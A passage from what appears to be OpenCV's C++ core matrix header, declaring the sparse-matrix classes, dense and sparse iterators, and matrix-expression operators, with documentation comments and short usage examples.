0x00000FFF, DEPTH_MASK = 7 }; /*! includes several bit-fields: - the magic signature - continuity flag - depth - number of channels */ int flags; //! the matrix dimensionality, >= 2 int dims; //! the number of rows and columns or (-1, -1) when the matrix has more than 2 dimensions int rows, cols; //! custom allocator MatAllocator* allocator; UMatUsageFlags usageFlags; // usage flags for allocator //! and the standard allocator static MatAllocator* getStdAllocator(); //! internal use method: updates the continuity flag void updateContinuityFlag(); // black-box container of UMat data UMatData* u; // offset of the submatrix (or 0) size_t offset; MatSize size; MatStep step; protected: }; /////////////////////////// multi-dimensional sparse matrix ////////////////////////// /** @brief The class SparseMat represents multi-dimensional sparse numerical arrays. Such a sparse array can store elements of any type that Mat can store. *Sparse* means that only non-zero elements are stored (though, as a result of operations on a sparse matrix, some of its stored elements can actually become 0. It is up to you to detect such elements and delete them using SparseMat::erase ). The non-zero elements are stored in a hash table that grows when it is filled so that the search time is O(1) in average (regardless of whether element is there or not). Elements can be accessed using the following methods: - Query operations (SparseMat::ptr and the higher-level SparseMat::ref, SparseMat::value and SparseMat::find), for example: @code const int dims = 5; int size[5] = {10, 10, 10, 10, 10}; SparseMat sparse_mat(dims, size, CV_32F); for(int i = 0; i < 1000; i++) { int idx[dims]; for(int k = 0; k < dims; k++) idx[k] = rand() % size[k]; sparse_mat.ref<float>(idx) += 1.f; } cout << "nnz = " << sparse_mat.nzcount() << endl; @endcode - Sparse matrix iterators. They are similar to MatIterator but different from NAryMatIterator. That is, the iteration loop is familiar to STL users: @code // prints elements of a sparse floating-point matrix // and the sum of elements. SparseMatConstIterator_<float> it = sparse_mat.begin<float>(), it_end = sparse_mat.end<float>(); double s = 0; int dims = sparse_mat.dims(); for(; it != it_end; ++it) { // print element indices and the element value const SparseMat::Node* n = it.node(); printf("("); for(int i = 0; i < dims; i++) printf("%d%s", n->idx[i], i < dims-1 ? ", " : ")"); printf(": %g\n", it.value<float>()); s += *it; } printf("Element sum is %g\n", s); @endcode If you run this loop, you will notice that elements are not enumerated in a logical order (lexicographical, and so on). They come in the same order as they are stored in the hash table (semi-randomly). You may collect pointers to the nodes and sort them to get the proper ordering. Note, however, that pointers to the nodes may become invalid when you add more elements to the matrix. This may happen due to possible buffer reallocation. - Combination of the above 2 methods when you need to process 2 or more sparse matrices simultaneously. For example, this is how you can compute unnormalized cross-correlation of the 2 floating-point sparse matrices: @code double cross_corr(const SparseMat& a, const SparseMat& b) { const SparseMat *_a = &a, *_b = &b; // if b contains less elements than a, // it is faster to iterate through b if(_a->nzcount() > _b->nzcount()) std::swap(_a, _b); SparseMatConstIterator_<float> it = _a->begin<float>(), it_end = _a->end<float>(); double ccorr = 0; for(; it != it_end; ++it) { // take the next element from the first matrix float avalue = *it; const Node* anode = it.node(); // and try to find an element with the same index in the second matrix. // since the hash value depends only on the element index, // reuse the hash value stored in the node float bvalue = _b->value<float>(anode->idx,&anode->hashval); ccorr += avalue*bvalue; } return ccorr; } @endcode */ class CV_EXPORTS SparseMat { public: typedef SparseMatIterator iterator; typedef SparseMatConstIterator const_iterator; enum { MAGIC_VAL=0x42FD0000, MAX_DIM=32, HASH_SCALE=0x5bd1e995, HASH_BIT=0x80000000 }; //! the sparse matrix header struct CV_EXPORTS Hdr { Hdr(int _dims, const int* _sizes, int _type); void clear(); int refcount; int dims; int valueOffset; size_t nodeSize; size_t nodeCount; size_t freeList; std::vector<uchar> pool; std::vector<size_t> hashtab; int size[MAX_DIM]; }; //! sparse matrix node - element of a hash table struct CV_EXPORTS Node { //! hash value size_t hashval; //! index of the next node in the same hash table entry size_t next; //! index of the matrix element int idx[MAX_DIM]; }; /** @brief Various SparseMat constructors. */ SparseMat(); /** @overload @param dims Array dimensionality. @param _sizes Sparce matrix size on all dementions. @param _type Sparse matrix data type. */ SparseMat(int dims, const int* _sizes, int _type); /** @overload @param m Source matrix for copy constructor. If m is dense matrix (ocvMat) then it will be converted to sparse representation. */ SparseMat(const SparseMat& m); /** @overload @param m Source matrix for copy constructor. If m is dense matrix (ocvMat) then it will be converted to sparse representation. */ explicit SparseMat(const Mat& m); //! the destructor ~SparseMat(); //! assignment operator. This is O(1) operation, i.e. no data is copied SparseMat& operator = (const SparseMat& m); //! equivalent to the corresponding constructor SparseMat& operator = (const Mat& m); //! creates full copy of the matrix SparseMat clone() const CV_NODISCARD; //! copies all the data to the destination matrix. All the previous content of m is erased void copyTo( SparseMat& m ) const; //! converts sparse matrix to dense matrix. void copyTo( Mat& m ) const; //! multiplies all the matrix elements by the specified scale factor alpha and converts the results to the specified data type void convertTo( SparseMat& m, int rtype, double alpha=1 ) const; //! converts sparse matrix to dense n-dim matrix with optional type conversion and scaling. /*! @param [out] m - output matrix; if it does not have a proper size or type before the operation, it is reallocated @param [in] rtype - desired output matrix type or, rather, the depth since the number of channels are the same as the input has; if rtype is negative, the output matrix will have the same type as the input. @param [in] alpha - optional scale factor @param [in] beta - optional delta added to the scaled values */ void convertTo( Mat& m, int rtype, double alpha=1, double beta=0 ) const; // not used now void assignTo( SparseMat& m, int type=-1 ) const; //! reallocates sparse matrix. /*! If the matrix already had the proper size and type, it is simply cleared with clear(), otherwise, the old matrix is released (using release()) and the new one is allocated. */ void create(int dims, const int* _sizes, int _type); //! sets all the sparse matrix elements to 0, which means clearing the hash table. void clear(); //! manually increments the reference counter to the header. void addref(); // decrements the header reference counter. When the counter reaches 0, the header and all the underlying data are deallocated. void release(); //! converts sparse matrix to the old-style representation; all the elements are copied. //operator CvSparseMat*() const; //! returns the size of each element in bytes (not including the overhead - the space occupied by SparseMat::Node elements) size_t elemSize() const; //! returns elemSize()/channels() size_t elemSize1() const; //! returns type of sparse matrix elements int type() const; //! returns the depth of sparse matrix elements int depth() const; //! returns the number of channels int channels() const; //! returns the array of sizes, or NULL if the matrix is not allocated const int* size() const; //! returns the size of i-th matrix dimension (or 0) int size(int i) const; //! returns the matrix dimensionality int dims() const; //! returns the number of non-zero elements (=the number of hash table nodes) size_t nzcount() const; //! computes the element hash value (1D case) size_t hash(int i0) const; //! computes the element hash value (2D case) size_t hash(int i0, int i1) const; //! computes the element hash value (3D case) size_t hash(int i0, int i1, int i2) const; //! computes the element hash value (nD case) size_t hash(const int* idx) const; //!@{ /*! specialized variants for 1D, 2D, 3D cases and the generic_type one for n-D case. return pointer to the matrix element. - if the element is there (it's non-zero), the pointer to it is returned - if it's not there and createMissing=false, NULL pointer is returned - if it's not there and createMissing=true, then the new element is created and initialized with 0. Pointer to it is returned - if the optional hashval pointer is not NULL, the element hash value is not computed, but *hashval is taken instead. */ //! returns pointer to the specified element (1D case) uchar* ptr(int i0, bool createMissing, size_t* hashval=0); //! returns pointer to the specified element (2D case) uchar* ptr(int i0, int i1, bool createMissing, size_t* hashval=0); //! returns pointer to the specified element (3D case) uchar* ptr(int i0, int i1, int i2, bool createMissing, size_t* hashval=0); //! returns pointer to the specified element (nD case) uchar* ptr(const int* idx, bool createMissing, size_t* hashval=0); //!@} //!@{ /*! return read-write reference to the specified sparse matrix element. `ref<_Tp>(i0,...[,hashval])` is equivalent to `*(_Tp*)ptr(i0,...,true[,hashval])`. The methods always return a valid reference. If the element did not exist, it is created and initialized with 0. */ //! returns reference to the specified element (1D case) template<typename _Tp> _Tp& ref(int i0, size_t* hashval=0); //! returns reference to the specified element (2D case) template<typename _Tp> _Tp& ref(int i0, int i1, size_t* hashval=0); //! returns reference to the specified element (3D case) template<typename _Tp> _Tp& ref(int i0, int i1, int i2, size_t* hashval=0); //! returns reference to the specified element (nD case) template<typename _Tp> _Tp& ref(const int* idx, size_t* hashval=0); //!@} //!@{ /*! return value of the specified sparse matrix element. `value<_Tp>(i0,...[,hashval])` is equivalent to @code { const _Tp* p = find<_Tp>(i0,...[,hashval]); return p ? *p : _Tp(); } @endcode That is, if the element did not exist, the methods return 0. */ //! returns value of the specified element (1D case) template<typename _Tp> _Tp value(int i0, size_t* hashval=0) const; //! returns value of the specified element (2D case) template<typename _Tp> _Tp value(int i0, int i1, size_t* hashval=0) const; //! returns value of the specified element (3D case) template<typename _Tp> _Tp value(int i0, int i1, int i2, size_t* hashval=0) const; //! returns value of the specified element (nD case) template<typename _Tp> _Tp value(const int* idx, size_t* hashval=0) const; //!@} //!@{ /*! Return pointer to the specified sparse matrix element if it exists `find<_Tp>(i0,...[,hashval])` is equivalent to `(_const Tp*)ptr(i0,...false[,hashval])`. If the specified element does not exist, the methods return NULL. */ //! returns pointer to the specified element (1D case) template<typename _Tp> const _Tp* find(int i0, size_t* hashval=0) const; //! returns pointer to the specified element (2D case) template<typename _Tp> const _Tp* find(int i0, int i1, size_t* hashval=0) const; //! returns pointer to the specified element (3D case) template<typename _Tp> const _Tp* find(int i0, int i1, int i2, size_t* hashval=0) const; //! returns pointer to the specified element (nD case) template<typename _Tp> const _Tp* find(const int* idx, size_t* hashval=0) const; //!@} //! erases the specified element (2D case) void erase(int i0, int i1, size_t* hashval=0); //! erases the specified element (3D case) void erase(int i0, int i1, int i2, size_t* hashval=0); //! erases the specified element (nD case) void erase(const int* idx, size_t* hashval=0); //!@{ /*! return the sparse matrix iterator pointing to the first sparse matrix element */ //! returns the sparse matrix iterator at the matrix beginning SparseMatIterator begin(); //! returns the sparse matrix iterator at the matrix beginning template<typename _Tp> SparseMatIterator_<_Tp> begin(); //! returns the read-only sparse matrix iterator at the matrix beginning SparseMatConstIterator begin() const; //! returns the read-only sparse matrix iterator at the matrix beginning template<typename _Tp> SparseMatConstIterator_<_Tp> begin() const; //!@} /*! return the sparse matrix iterator pointing to the element following the last sparse matrix element */ //! returns the sparse matrix iterator at the matrix end SparseMatIterator end(); //! returns the read-only sparse matrix iterator at the matrix end SparseMatConstIterator end() const; //! returns the typed sparse matrix iterator at the matrix end template<typename _Tp> SparseMatIterator_<_Tp> end(); //! returns the typed read-only sparse matrix iterator at the matrix end template<typename _Tp> SparseMatConstIterator_<_Tp> end() const; //! returns the value stored in the sparse martix node template<typename _Tp> _Tp& value(Node* n); //! returns the value stored in the sparse martix node template<typename _Tp> const _Tp& value(const Node* n) const; ////////////// some internal-use methods /////////////// Node* node(size_t nidx); const Node* node(size_t nidx) const; uchar* newNode(const int* idx, size_t hashval); void removeNode(size_t hidx, size_t nidx, size_t previdx); void resizeHashTab(size_t newsize); int flags; Hdr* hdr; }; ///////////////////////////////// SparseMat_<_Tp> //////////////////////////////////// /** @brief Template sparse n-dimensional array class derived from SparseMat SparseMat_ is a thin wrapper on top of SparseMat created in the same way as Mat_ . It simplifies notation of some operations: @code int sz[] = {10, 20, 30}; SparseMat_<double> M(3, sz); ... M.ref(1, 2, 3) = M(4, 5, 6) + M(7, 8, 9); @endcode */ template<typename _Tp> class SparseMat_ : public SparseMat { public: typedef SparseMatIterator_<_Tp> iterator; typedef SparseMatConstIterator_<_Tp> const_iterator; //! the default constructor SparseMat_(); //! the full constructor equivalent to SparseMat(dims, _sizes, DataType<_Tp>::type) SparseMat_(int dims, const int* _sizes); //! the copy constructor. If DataType<_Tp>.type != m.type(), the m elements are converted SparseMat_(const SparseMat& m); //! the copy constructor. This is O(1) operation - no data is copied SparseMat_(const SparseMat_& m); //! converts dense matrix to the sparse form SparseMat_(const Mat& m); //! converts the old-style sparse matrix to the C++ class. All the elements are copied //SparseMat_(const CvSparseMat* m); //! the assignment operator. If DataType<_Tp>.type != m.type(), the m elements are converted SparseMat_& operator = (const SparseMat& m); //! the assignment operator. This is O(1) operation - no data is copied SparseMat_& operator = (const SparseMat_& m); //! converts dense matrix to the sparse form SparseMat_& operator = (const Mat& m); //! makes full copy of the matrix. All the elements are duplicated SparseMat_ clone() const CV_NODISCARD; //! equivalent to cv::SparseMat::create(dims, _sizes, DataType<_Tp>::type) void create(int dims, const int* _sizes); //! converts sparse matrix to the old-style CvSparseMat. All the elements are copied //operator CvSparseMat*() const; //! returns type of the matrix elements int type() const; //! returns depth of the matrix elements int depth() const; //! returns the number of channels in each matrix element int channels() const; //! equivalent to SparseMat::ref<_Tp>(i0, hashval) _Tp& ref(int i0, size_t* hashval=0); //! equivalent to SparseMat::ref<_Tp>(i0, i1, hashval) _Tp& ref(int i0, int i1, size_t* hashval=0); //! equivalent to SparseMat::ref<_Tp>(i0, i1, i2, hashval) _Tp& ref(int i0, int i1, int i2, size_t* hashval=0); //! equivalent to SparseMat::ref<_Tp>(idx, hashval) _Tp& ref(const int* idx, size_t* hashval=0); //! equivalent to SparseMat::value<_Tp>(i0, hashval) _Tp operator()(int i0, size_t* hashval=0) const; //! equivalent to SparseMat::value<_Tp>(i0, i1, hashval) _Tp operator()(int i0, int i1, size_t* hashval=0) const; //! equivalent to SparseMat::value<_Tp>(i0, i1, i2, hashval) _Tp operator()(int i0, int i1, int i2, size_t* hashval=0) const; //! equivalent to SparseMat::value<_Tp>(idx, hashval) _Tp operator()(const int* idx, size_t* hashval=0) const; //! returns sparse matrix iterator pointing to the first sparse matrix element SparseMatIterator_<_Tp> begin(); //! returns read-only sparse matrix iterator pointing to the first sparse matrix element SparseMatConstIterator_<_Tp> begin() const; //! returns sparse matrix iterator pointing to the element following the last sparse matrix element SparseMatIterator_<_Tp> end(); //! returns read-only sparse matrix iterator pointing to the element following the last sparse matrix element SparseMatConstIterator_<_Tp> end() const; }; ////////////////////////////////// MatConstIterator ////////////////////////////////// class CV_EXPORTS MatConstIterator { public: typedef uchar* value_type; typedef ptrdiff_t difference_type; typedef const uchar** pointer; typedef uchar* reference; typedef std::random_access_iterator_tag iterator_category; //! default constructor MatConstIterator(); //! constructor that sets the iterator to the beginning of the matrix MatConstIterator(const Mat* _m); //! constructor that sets the iterator to the specified element of the matrix MatConstIterator(const Mat* _m, int _row, int _col=0); //! constructor that sets the iterator to the specified element of the matrix MatConstIterator(const Mat* _m, Point _pt); //! constructor that sets the iterator to the specified element of the matrix MatConstIterator(const Mat* _m, const int* _idx); //! copy constructor MatConstIterator(const MatConstIterator& it); //! copy operator MatConstIterator& operator = (const MatConstIterator& it); //! returns the current matrix element const uchar* operator *() const; //! returns the i-th matrix element, relative to the current const uchar* operator [](ptrdiff_t i) const; //! shifts the iterator forward by the specified number of elements MatConstIterator& operator += (ptrdiff_t ofs); //! shifts the iterator backward by the specified number of elements MatConstIterator& operator -= (ptrdiff_t ofs); //! decrements the iterator MatConstIterator& operator --(); //! decrements the iterator MatConstIterator operator --(int); //! increments the iterator MatConstIterator& operator ++(); //! increments the iterator MatConstIterator operator ++(int); //! returns the current iterator position Point pos() const; //! returns the current iterator position void pos(int* _idx) const; ptrdiff_t lpos() const; void seek(ptrdiff_t ofs, bool relative = false); void seek(const int* _idx, bool relative = false); const Mat* m; size_t elemSize; const uchar* ptr; const uchar* sliceStart; const uchar* sliceEnd; }; ////////////////////////////////// MatConstIterator_ ///////////////////////////////// /** @brief Matrix read-only iterator */ template<typename _Tp> class MatConstIterator_ : public MatConstIterator { public: typedef _Tp value_type; typedef ptrdiff_t difference_type; typedef const _Tp* pointer; typedef const _Tp& reference; typedef std::random_access_iterator_tag iterator_category; //! default constructor MatConstIterator_(); //! constructor that sets the iterator to the beginning of the matrix MatConstIterator_(const Mat_<_Tp>* _m); //! constructor that sets the iterator to the specified element of the matrix MatConstIterator_(const Mat_<_Tp>* _m, int _row, int _col=0); //! constructor that sets the iterator to the specified element of the matrix MatConstIterator_(const Mat_<_Tp>* _m, Point _pt); //! constructor that sets the iterator to the specified element of the matrix MatConstIterator_(const Mat_<_Tp>* _m, const int* _idx); //! copy constructor MatConstIterator_(const MatConstIterator_& it); //! copy operator MatConstIterator_& operator = (const MatConstIterator_& it); //! returns the current matrix element const _Tp& operator *() const; //! returns the i-th matrix element, relative to the current const _Tp& operator [](ptrdiff_t i) const; //! shifts the iterator forward by the specified number of elements MatConstIterator_& operator += (ptrdiff_t ofs); //! shifts the iterator backward by the specified number of elements MatConstIterator_& operator -= (ptrdiff_t ofs); //! decrements the iterator MatConstIterator_& operator --(); //! decrements the iterator MatConstIterator_ operator --(int); //! increments the iterator MatConstIterator_& operator ++(); //! increments the iterator MatConstIterator_ operator ++(int); //! returns the current iterator position Point pos() const; }; //////////////////////////////////// MatIterator_ //////////////////////////////////// /** @brief Matrix read-write iterator */ template<typename _Tp> class MatIterator_ : public MatConstIterator_<_Tp> { public: typedef _Tp* pointer; typedef _Tp& reference; typedef std::random_access_iterator_tag iterator_category; //! the default constructor MatIterator_(); //! constructor that sets the iterator to the beginning of the matrix MatIterator_(Mat_<_Tp>* _m); //! constructor that sets the iterator to the specified element of the matrix MatIterator_(Mat_<_Tp>* _m, int _row, int _col=0); //! constructor that sets the iterator to the specified element of the matrix MatIterator_(Mat_<_Tp>* _m, Point _pt); //! constructor that sets the iterator to the specified element of the matrix MatIterator_(Mat_<_Tp>* _m, const int* _idx); //! copy constructor MatIterator_(const MatIterator_& it); //! copy operator MatIterator_& operator = (const MatIterator_<_Tp>& it ); //! returns the current matrix element _Tp& operator *() const; //! returns the i-th matrix element, relative to the current _Tp& operator [](ptrdiff_t i) const; //! shifts the iterator forward by the specified number of elements MatIterator_& operator += (ptrdiff_t ofs); //! shifts the iterator backward by the specified number of elements MatIterator_& operator -= (ptrdiff_t ofs); //! decrements the iterator MatIterator_& operator --(); //! decrements the iterator MatIterator_ operator --(int); //! increments the iterator MatIterator_& operator ++(); //! increments the iterator MatIterator_ operator ++(int); }; /////////////////////////////// SparseMatConstIterator /////////////////////////////// /** @brief Read-Only Sparse Matrix Iterator. Here is how to use the iterator to compute the sum of floating-point sparse matrix elements: \code SparseMatConstIterator it = m.begin(), it_end = m.end(); double s = 0; CV_Assert( m.type() == CV_32F ); for( ; it != it_end; ++it ) s += it.value<float>(); \endcode */ class CV_EXPORTS SparseMatConstIterator { public: //! the default constructor SparseMatConstIterator(); //! the full constructor setting the iterator to the first sparse matrix element SparseMatConstIterator(const SparseMat* _m); //! the copy constructor SparseMatConstIterator(const SparseMatConstIterator& it); //! the assignment operator SparseMatConstIterator& operator = (const SparseMatConstIterator& it); //! template method returning the current matrix element template<typename _Tp> const _Tp& value() const; //! returns the current node of the sparse matrix. it.node->idx is the current element index const SparseMat::Node* node() const; //! moves iterator to the previous element SparseMatConstIterator& operator --(); //! moves iterator to the previous element SparseMatConstIterator operator --(int); //! moves iterator to the next element SparseMatConstIterator& operator ++(); //! moves iterator to the next element SparseMatConstIterator operator ++(int); //! moves iterator to the element after the last element void seekEnd(); const SparseMat* m; size_t hashidx; uchar* ptr; }; ////////////////////////////////// SparseMatIterator ///////////////////////////////// /** @brief Read-write Sparse Matrix Iterator The class is similar to cv::SparseMatConstIterator, but can be used for in-place modification of the matrix elements. */ class CV_EXPORTS SparseMatIterator : public SparseMatConstIterator { public: //! the default constructor SparseMatIterator(); //! the full constructor setting the iterator to the first sparse matrix element SparseMatIterator(SparseMat* _m); //! the full constructor setting the iterator to the specified sparse matrix element SparseMatIterator(SparseMat* _m, const int* idx); //! the copy constructor SparseMatIterator(const SparseMatIterator& it); //! the assignment operator SparseMatIterator& operator = (const SparseMatIterator& it); //! returns read-write reference to the current sparse matrix element template<typename _Tp> _Tp& value() const; //! returns pointer to the current sparse matrix node. it.node->idx is the index of the current element (do not modify it!) SparseMat::Node* node() const; //! moves iterator to the next element SparseMatIterator& operator ++(); //! moves iterator to the next element SparseMatIterator operator ++(int); }; /////////////////////////////// SparseMatConstIterator_ ////////////////////////////// /** @brief Template Read-Only Sparse Matrix Iterator Class. This is the derived from SparseMatConstIterator class that introduces more convenient operator *() for accessing the current element. */ template<typename _Tp> class SparseMatConstIterator_ : public SparseMatConstIterator { public: typedef std::forward_iterator_tag iterator_category; //! the default constructor SparseMatConstIterator_(); //! the full constructor setting the iterator to the first sparse matrix element SparseMatConstIterator_(const SparseMat_<_Tp>* _m); SparseMatConstIterator_(const SparseMat* _m); //! the copy constructor SparseMatConstIterator_(const SparseMatConstIterator_& it); //! the assignment operator SparseMatConstIterator_& operator = (const SparseMatConstIterator_& it); //! the element access operator const _Tp& operator *() const; //! moves iterator to the next element SparseMatConstIterator_& operator ++(); //! moves iterator to the next element SparseMatConstIterator_ operator ++(int); }; ///////////////////////////////// SparseMatIterator_ ///////////////////////////////// /** @brief Template Read-Write Sparse Matrix Iterator Class. This is the derived from cv::SparseMatConstIterator_ class that introduces more convenient operator *() for accessing the current element. */ template<typename _Tp> class SparseMatIterator_ : public SparseMatConstIterator_<_Tp> { public: typedef std::forward_iterator_tag iterator_category; //! the default constructor SparseMatIterator_(); //! the full constructor setting the iterator to the first sparse matrix element SparseMatIterator_(SparseMat_<_Tp>* _m); SparseMatIterator_(SparseMat* _m); //! the copy constructor SparseMatIterator_(const SparseMatIterator_& it); //! the assignment operator SparseMatIterator_& operator = (const SparseMatIterator_& it); //! returns the reference to the current element _Tp& operator *() const; //! moves the iterator to the next element SparseMatIterator_& operator ++(); //! moves the iterator to the next element SparseMatIterator_ operator ++(int); }; /////////////////////////////////// NAryMatIterator ////////////////////////////////// /** @brief n-ary multi-dimensional array iterator. Use the class to implement unary, binary, and, generally, n-ary element-wise operations on multi-dimensional arrays. Some of the arguments of an n-ary function may be continuous arrays, some may be not. It is possible to use conventional MatIterator 's for each array but incrementing all of the iterators after each small operations may be a big overhead. In this case consider using NAryMatIterator to iterate through several matrices simultaneously as long as they have the same geometry (dimensionality and all the dimension sizes are the same). On each iteration `it.planes[0]`, `it.planes[1]`,... will be the slices of the corresponding matrices. The example below illustrates how you can compute a normalized and threshold 3D color histogram: @code void computeNormalizedColorHist(const Mat& image, Mat& hist, int N, double minProb) { const int histSize[] = {N, N, N}; // make sure that the histogram has a proper size and type hist.create(3, histSize, CV_32F); // and clear it hist = Scalar(0); // the loop below assumes that the image // is a 8-bit 3-channel. check it. CV_Assert(image.type() == CV_8UC3); MatConstIterator_<Vec3b> it = image.begin<Vec3b>(), it_end = image.end<Vec3b>(); for( ; it != it_end; ++it ) { const Vec3b& pix = *it; hist.at<float>(pix[0]*N/256, pix[1]*N/256, pix[2]*N/256) += 1.f; } minProb *= image.rows*image.cols; // initialize iterator (the style is different from STL). // after initialization the iterator will contain // the number of slices or planes the iterator will go through. // it simultaneously increments iterators for several matrices // supplied as a null terminated list of pointers const Mat* arrays[] = {&hist, 0}; Mat planes[1]; NAryMatIterator itNAry(arrays, planes, 1); double s = 0; // iterate through the matrix. on each iteration // itNAry.planes[i] (of type Mat) will be set to the current plane // of the i-th n-dim matrix passed to the iterator constructor. for(int p = 0; p < itNAry.nplanes; p++, ++itNAry) { threshold(itNAry.planes[0], itNAry.planes[0], minProb, 0, THRESH_TOZERO); s += sum(itNAry.planes[0])[0]; } s = 1./s; itNAry = NAryMatIterator(arrays, planes, 1); for(int p = 0; p < itNAry.nplanes; p++, ++itNAry) itNAry.planes[0] *= s; } @endcode */ class CV_EXPORTS NAryMatIterator { public: //! the default constructor NAryMatIterator(); //! the full constructor taking arbitrary number of n-dim matrices NAryMatIterator(const Mat** arrays, uchar** ptrs, int narrays=-1); //! the full constructor taking arbitrary number of n-dim matrices NAryMatIterator(const Mat** arrays, Mat* planes, int narrays=-1); //! the separate iterator initialization method void init(const Mat** arrays, Mat* planes, uchar** ptrs, int narrays=-1); //! proceeds to the next plane of every iterated matrix NAryMatIterator& operator ++(); //! proceeds to the next plane of every iterated matrix (postfix increment operator) NAryMatIterator operator ++(int); //! the iterated arrays const Mat** arrays; //! the current planes Mat* planes; //! data pointers uchar** ptrs; //! the number of arrays int narrays; //! the number of hyper-planes that the iterator steps through size_t nplanes; //! the size of each segment (in elements) size_t size; protected: int iterdepth; size_t idx; }; ///////////////////////////////// Matrix Expressions ///////////////////////////////// class CV_EXPORTS MatOp { public: MatOp(); virtual ~MatOp(); virtual bool elementWise(const MatExpr& expr) const; virtual void assign(const MatExpr& expr, Mat& m, int type=-1) const = 0; virtual void roi(const MatExpr& expr, const Range& rowRange, const Range& colRange, MatExpr& res) const; virtual void diag(const MatExpr& expr, int d, MatExpr& res) const; virtual void augAssignAdd(const MatExpr& expr, Mat& m) const; virtual void augAssignSubtract(const MatExpr& expr, Mat& m) const; virtual void augAssignMultiply(const MatExpr& expr, Mat& m) const; virtual void augAssignDivide(const MatExpr& expr, Mat& m) const; virtual void augAssignAnd(const MatExpr& expr, Mat& m) const; virtual void augAssignOr(const MatExpr& expr, Mat& m) const; virtual void augAssignXor(const MatExpr& expr, Mat& m) const; virtual void add(const MatExpr& expr1, const MatExpr& expr2, MatExpr& res) const; virtual void add(const MatExpr& expr1, const Scalar& s, MatExpr& res) const; virtual void subtract(const MatExpr& expr1, const MatExpr& expr2, MatExpr& res) const; virtual void subtract(const Scalar& s, const MatExpr& expr, MatExpr& res) const; virtual void multiply(const MatExpr& expr1, const MatExpr& expr2, MatExpr& res, double scale=1) const; virtual void multiply(const MatExpr& expr1, double s, MatExpr& res) const; virtual void divide(const MatExpr& expr1, const MatExpr& expr2, MatExpr& res, double scale=1) const; virtual void divide(double s, const MatExpr& expr, MatExpr& res) const; virtual void abs(const MatExpr& expr, MatExpr& res) const; virtual void transpose(const MatExpr& expr, MatExpr& res) const; virtual void matmul(const MatExpr& expr1, const MatExpr& expr2, MatExpr& res) const; virtual void invert(const MatExpr& expr, int method, MatExpr& res) const; virtual Size size(const MatExpr& expr) const; virtual int type(const MatExpr& expr) const; }; /** @brief Matrix expression representation @anchor MatrixExpressions This is a list of implemented matrix operations that can be combined in arbitrary complex expressions (here A, B stand for matrices ( Mat ), s for a scalar ( Scalar ), alpha for a real-valued scalar ( double )): - Addition, subtraction, negation: `A+B`, `A-B`, `A+s`, `A-s`, `s+A`, `s-A`, `-A` - Scaling: `A*alpha` - Per-element multiplication and division: `A.mul(B)`, `A/B`, `alpha/A` - Matrix multiplication: `A*B` - Transposition: `A.t()` (means A<sup>T</sup>) - Matrix inversion and pseudo-inversion, solving linear systems and least-squares problems: `A.inv([method]) (~ A<sup>-1</sup>)`, `A.inv([method])*B (~ X: AX=B)` - Comparison: `A cmpop B`, `A cmpop alpha`, `alpha cmpop A`, where *cmpop* is one of `>`, `>=`, `==`, `!=`, `<=`, `<`. The result of comparison is an 8-bit single channel mask whose elements are set to 255 (if the particular element or pair of elements satisfy the condition) or 0. - Bitwise logical operations: `A logicop B`, `A logicop s`, `s logicop A`, `~A`, where *logicop* is one of `&`, `|`, `^`. - Element-wise minimum and maximum: `min(A, B)`, `min(A, alpha)`, `max(A, B)`, `max(A, alpha)` - Element-wise absolute value: `abs(A)` - Cross-product, dot-product: `A.cross(B)`, `A.dot(B)` - Any function of matrix or matrices and scalars that returns a matrix or a scalar, such as norm, mean, sum, countNonZero, trace, determinant, repeat, and others. - Matrix initializers ( Mat::eye(), Mat::zeros(), Mat::ones() ), matrix comma-separated initializers, matrix constructors and operators that extract sub-matrices (see Mat description). - Mat_<destination_type>() constructors to cast the result to the proper type. @note Comma-separated initializers and probably some other operations may require additional explicit Mat() or Mat_<T>() constructor calls to resolve a possible ambiguity. Here are examples of matrix expressions: @code // compute pseudo-inverse of A, equivalent to A.inv(DECOMP_SVD) SVD svd(A); Mat pinvA = svd.vt.t()*Mat::diag(1./svd.w)*svd.u.t(); // compute the new vector of parameters in the Levenberg-Marquardt algorithm x -= (A.t()*A + lambda*Mat::eye(A.cols,A.cols,A.type())).inv(DECOMP_CHOLESKY)*(A.t()*err); // sharpen image using "unsharp mask" algorithm Mat blurred; double sigma = 1, threshold = 5, amount = 1; GaussianBlur(img, blurred, Size(), sigma, sigma); Mat lowContrastMask = abs(img - blurred) < threshold; Mat sharpened = img*(1+amount) + blurred*(-amount); img.copyTo(sharpened, lowContrastMask); @endcode */ class CV_EXPORTS MatExpr { public: MatExpr(); explicit MatExpr(const Mat& m); MatExpr(const MatOp* _op, int _flags, const Mat& _a = Mat(), const Mat& _b = Mat(), const Mat& _c = Mat(), double _alpha = 1, double _beta = 1, const Scalar& _s = Scalar()); operator Mat() const; template<typename _Tp> operator Mat_<_Tp>() const; Size size() const; int type() const; MatExpr row(int y) const; MatExpr col(int x) const; MatExpr diag(int d = 0) const; MatExpr operator()( const Range& rowRange, const Range& colRange ) const; MatExpr operator()( const Rect& roi ) const; MatExpr t() const; MatExpr inv(int method = DECOMP_LU) const; MatExpr mul(const MatExpr& e, double scale=1) const; MatExpr mul(const Mat& m, double scale=1) const; Mat cross(const Mat& m) const; double dot(const Mat& m) const; const MatOp* op; int flags; Mat a, b, c; double alpha, beta; Scalar s; }; //! @} core_basic //! @relates cv::MatExpr //! @{ CV_EXPORTS MatExpr operator + (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator + (const Mat& a, const Scalar& s); CV_EXPORTS MatExpr operator + (const Scalar& s, const Mat& a); CV_EXPORTS MatExpr operator + (const MatExpr& e, const Mat& m); CV_EXPORTS MatExpr operator + (const Mat& m, const MatExpr& e); CV_EXPORTS MatExpr operator + (const MatExpr& e, const Scalar& s); CV_EXPORTS MatExpr operator + (const Scalar& s, const MatExpr& e); CV_EXPORTS MatExpr operator + (const MatExpr& e1, const MatExpr& e2); template<typename _Tp, int m, int n> static inline MatExpr operator + (const Mat& a, const Matx<_Tp, m, n>& b) { return a + Mat(b); } template<typename _Tp, int m, int n> static inline MatExpr operator + (const Matx<_Tp, m, n>& a, const Mat& b) { return Mat(a) + b; } CV_EXPORTS MatExpr operator - (const Mat& a, const Mat& b); CV_EXPORTS MatExpr operator - (const Mat& a, const Scalar& s); CV_EXPORTS MatExpr operator - (const Scalar& s, const Mat& a); CV_EXPORTS MatExpr operator - (const MatExpr& e, const Mat& m); CV_EXPORTS MatExpr operator - (const Mat& m, const MatExpr& e); CV_EXPORTS MatExpr operator - (const MatExpr& e, const Scalar& s); CV_EXPORTS MatExpr operator - (const Scalar& s, const MatExpr& e); CV_EXPORTS MatExpr operator - (const MatExpr& e1, const MatExpr& e2); 